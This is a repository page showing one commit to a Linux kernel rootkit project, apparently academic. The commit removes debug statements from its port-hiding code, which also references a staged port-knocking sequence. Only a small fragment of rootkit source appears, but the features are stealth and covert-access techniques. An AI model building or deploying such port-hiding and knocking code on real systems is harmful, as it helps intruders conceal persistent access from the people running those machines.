linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit c948ab5e7ca06e905f2b359b8e184bfc2a62e1f9
parent 110f0b2180f1b8c0bdc20f7c62ba9c12e6600c8a
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 17:38:41 +0100

removes redundant debug statements

Diffstat:
Msrc/porthide.c | 7+------
1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/src/porthide.c b/src/porthide.c @@ -55,16 +55,13 @@ lport_list_t_ptr hidden_lports_tail = &hidden_lports; void hide_lport(lport_t lport) { - if (!list_contains_lport(&hidden_lports, lport)) { - DEBUG_INFO("hiding lport %d\n", lport); + if (!list_contains_lport(&hidden_lports, lport)) add_lport_to_list(hidden_lports_tail, lport); - } } void unhide_lport(lport_t lport) { - DEBUG_INFO("unhiding lport %d\n", lport); remove_lport_from_list(hidden_lports_tail, lport); } @@ -89,8 +86,6 @@ stage3_knock(lport_t port) void clear_hidden_lports(void) { - DEBUG_INFO("clearing hidden lports\n"); - knock_list_t_ptr i; i = ips_stage1_tail;